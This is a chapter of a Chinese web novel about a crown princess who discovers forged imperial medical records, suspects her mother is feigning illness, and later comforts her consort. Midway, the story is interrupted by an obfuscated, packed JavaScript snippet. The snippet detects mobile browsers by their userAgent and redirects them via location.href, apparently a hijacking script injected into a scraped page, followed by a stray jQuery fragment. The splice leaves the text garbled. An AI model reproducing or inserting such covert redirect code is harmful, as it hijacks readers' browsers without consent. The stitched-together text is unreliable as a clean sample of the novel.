顾承乾很少生病,除了每月的请安脉,她和医官几乎没什么交集,更别提太医院了,这还是她第一次主动去太医院。
若不是母皇病重,此事疑点重重,她哪里会来到这里。
太医院内。
“温大人,本月的脉案到你整理了。”
“你也来了快一年了,对这些事情应该也熟练了。”
太医院汇聚了全国医术最为高超的医者,而医者又是一个很吃经验的职业,所以,太医院里的医官大都是不惑之年,甚至年纪更大,但温怀济不同。
她今年才25,目前是太医院最年轻的医官。
温怀济连忙起身应下,谢过几位前辈的信任,匆匆去了脉案室。
宫中贵人们每月都要问脉请安,不同品阶的贵人要问诊的次数不同,问过后会登记在册,月末再重新整理一遍,一份用于日常使用,一份留作储存。
当然,这个整理肯定不是单纯的整理,不然也不需要医官们自己整理了。
宫中贵人们的身体有没有病,不只是她们医官决定的,有的时候会用一些小技巧,来吸引皇帝去看他们。这种小情趣皇帝也知道,毕竟当晚她就留宿在那里了。
但皇帝指的是皇帝的事,她们不能让这些脉案留下去让后人看到。
什么时候问诊时有症状,身体需要调理;什么时候是她们之间的情趣,不需要记录,这些东西医官们都要把握好分寸。
他们既要保存原始脉案作为依据,又要存好正经的,可以被人拿来和起居注对照查看的数据,也算不得容易事。
而且不能假借他人之手,只能由各医官们自己做。
如今温怀济温大人入职一年,这个月已经开始独立问诊,自己也做这些事情,知道什么该写什么不该写,也不用担心她把事情泄露,引得贵人羞怒报复了。
温大人将同僚的脉案摆好,对照着皇帝临幸的时间表,小心翼翼的将文字誊抄上去。
没错,皇帝什么时候临幸了谁,都是有明确记载的,不然皇帝有孕,就不知道谁是父亲了。
皇家毕竟不同于普通人家,宫中贵人也多是大家贵族,与皇家有个皇子,即便不能继承大统,有个闲散亲王也是好的,所以在这种事情上记录的比较详细。
涉及皇家尊严,温大人写的格外认真。
制止了要去通传的内侍,顾承乾看到的就是这样一幕。女子妆发精致,神情肃立,一丝不苟的伏在案前,一笔一划的抄录着什么。
顾承乾放轻脚步,默不作声的走到她的身后,眼睛一扫而过。
左面是一个单独的小册子,最下面的那一行书:8.29陛下私召,临幸彦侍君。
视线右移,到了她正在抄写的那一行:
8.27陛下龙体康健。
8.28陛下龙体康健……
8.30……
“两份脉案啊,哪个才是真正的脉案呢?”
背后传来幽幽的声音,温怀济下意识就要把正在撰写的脉案合上,却被太女抓了个正着。手腕一抖,一小团黑色的墨迹在宣纸上晕染开来,毁了这本精心抄录的脉案。
皇帝装病,不愿意让太女知道,医官却是瞒不过的。她们不懂这对儿最尊贵的母女是什么意思,但却老老实实的听从陛下的安排。
可现在呢,太女亲自来了,但凡是其他人,她们都能随意打发,可太女本人要怎么办?
温怀济心下一惊,猛地起身,回头便和正在看着临幸表的太女对上了视线。
太女未着正式朝服,仅穿着一身玄色常服,表情淡淡,似乎刚才的动静不是她发出来的,平静的松开了她的手腕,把右手落在了她身旁桌案上,捡起那本被染了污渍的脉案,有两份,一真一假。
此刻,原本充满了好闻书墨香,混着淡淡药香的宽阔房间,突然有些让人窒息了。
殿下是什么时候来的?
温怀济心脏骤停一瞬:“臣不知殿下驾到,殿下恕罪!”
她自知暴露,头重重的磕在地上,却是避开了太女的问话。顾承乾看着她的后脑勺,久久不曾开口。
都知道是因为皇帝重病,无法临朝,所以太女代其监国。但如今,医院的脉案上写着皇帝无病,身强体健,到底是太医院的脉案上出了错,还是她母亲的病出了错?
8.29,正是她刚刚监国的时间。
红润的脸庞,苍白却湿润的嘴唇,进门前的喊声……
那天的每一个细节,都在她脑中不断闪烁。她记性很好。
是在装病吗?
那如果一个皇帝装病,让她的继承人来监国,可能是什么意思呢?
是对她心生怀疑,所以试探她有没有篡位的心思?还是因为她的名声大了,支持她的人变多了,所以特意要打压她?
异世界二十余年的常识让她一瞬间做出了反应,整个人如同在冬天被兜头浇了一桶冰水,冷到发烫。她才知道,原来冷到了极点是会热的,热到在岩浆里也会觉得骨缝发凉。
年迈的掌权者或许总会因为苍老而产生恐惧,格外的厌恶年轻的、越来越健壮的孩子,如同厌恶衰弱的自己,因此越发卖力的打压孩子。
不过他们总会披上一层考验和教育的外皮。
可……
理智告诉她,皇权面前无亲情,但情感上却不断的告诉她,她们是母女。
那是她的母亲。
她无数次握着她幼小的,尚且拿不动笔的手,写下工工整整的“母”字;她会因为她册封太女的年纪太小,尚不记事,所以亲手牵着七岁的稚童坐上龙椅,宣称她是这个帝国未来的主人……
她曾和她共享同一个脉搏,彼此交融,密不可分。
她诞生于她的血肉。
太女垂眸:“别告诉陛下我来过。”
她不敢去问。
乾安殿
“乾儿还是没过来找我?”顾启朝有些坐不住了,走到门口向外张望,但门外除了零星几片不知道从哪里飘来的树叶,没有半点动静。
“这,臣也不甚清楚,太医院门口的侍卫说太女来了,不让她去通传,臣一看事情不对,便立刻来告知陛下了!”报信的太医如是说道。
皇帝在殿内焦急的来回踱步,但等了半天都没有等来人。
顾启朝眼前一亮:“莫不是我儿已知晓我之心意?”
知道她装病竟然没来找她,想来是明白她的心意,默默的接受了她的担子。
“把我香炉里的药渣都扔了,不必再放了,一股子苦味,闻的我心烦。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745145|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“是!”
本来她还担心,如果直接让乾儿理政,她会不会过于依赖她,什么事都来问她,所以才装病让她自己摸索,她只偶尔帮她调节心情,点拨一下思路,把控整体走向。
但现在女儿都已经知道她是装的了,却连问都没问,这不正是表明了她的决心吗?最需要瞒着的人已经不需要瞒着了,她也不用太过小心谨慎了。
孩子大了,懂事了啊!
此时,自诩精于测算人心,了解女儿的一代明君,也被爱女之心蒙蔽了理智,忽视了女儿最核心的一个问题。
阴谋脑。
“去告诉程将军,我已经等不及了,明天一早就要看到我的地契!”
顾承乾原本给了鸨父三天时间,但现在她反悔了,她要立刻就有结果。她承认,她就是迁怒。
原本还想着和他们慢慢玩,但现在,她没这个耐心了。
她行的端坐的正,她有什么怕的,她有什么要等的!
要试探就尽管试探,最次最次的结果,也不过是一身性命还了她去。
是啊,不过是把她给的还给她。
这个念头一出,顾承乾竟然罕见的平静了下来,心头一下子就轻松了起来,只觉得豁然开朗。
太女敛眸,暖黄色的烛光在眼底映出一小片黑色,安静的寝殿里分不清时间的流逝,只知道红烛烧的很快,烛泪积了一滩又一滩。
烛光摇曳,晃动的火光引起了太女的注意力,她终于抬起了头。
“小心!”
顾承乾单手将人拽住,那几乎燃尽的红烛啪嗒落地,在和地板接触的那一瞬间,火焰也应声熄灭,只留下一缕青烟。
被揽住的人显然是被吓得不轻,随着一瞬间的惊呼声,伸手揽住了太女的脖颈,小心翼翼的把头埋到太女的肩膀。
在东宫,这样耀眼的明黄色,不用猜就能知道他是谁了。
“殿、殿下……”
谢青珩一头墨发披在肩上,身上还带着几分水气,穿着寝衣,惊魂未定,白皙的面颊也染上一层薄红。
两人对视,顾承乾松开放在他腰间的手,看了看掉在地上的烛台,蹙了蹙眉,有些严肃:“你这是做什么。”
“臣侍见烛火将熄,便想着来换上一换,是臣侍手笨,惊扰了殿下。”
谢青珩紧了紧握在手中的红烛,低着头,表情有些失落。他竟然连这点事情都做不好。
见他这样,太女越发不解:“东宫没有侍男了吗,还要太女夫来做这些,你——”
“不是!”
“臣侍只是见殿下操劳,臣侍自己却什么都帮不上,所以……”察觉到失态,太女夫的声音骤然降了下来,垂着头小声嘀咕,“所以想帮殿下做点什么,谁知道那烛火竟然粘在了上面,没换好不说,还烫了我的手……”
谢青珩越想越委屈,他怎么就这么倒霉,这点小事都做不好,竟然还对殿下吼了,这下殿下肯定要厌烦他了,以后是不是又要独守空房了,说不定殿下很快就会纳侍,说不定……
“谢青珩。”
谢青珩心里百般思绪,听到有人叫他,还是下意识的抬起头,朦胧的眼睛就这样猝不及防的和太女温和的目光对上。
太女牵起了他的手。
“疼吗?”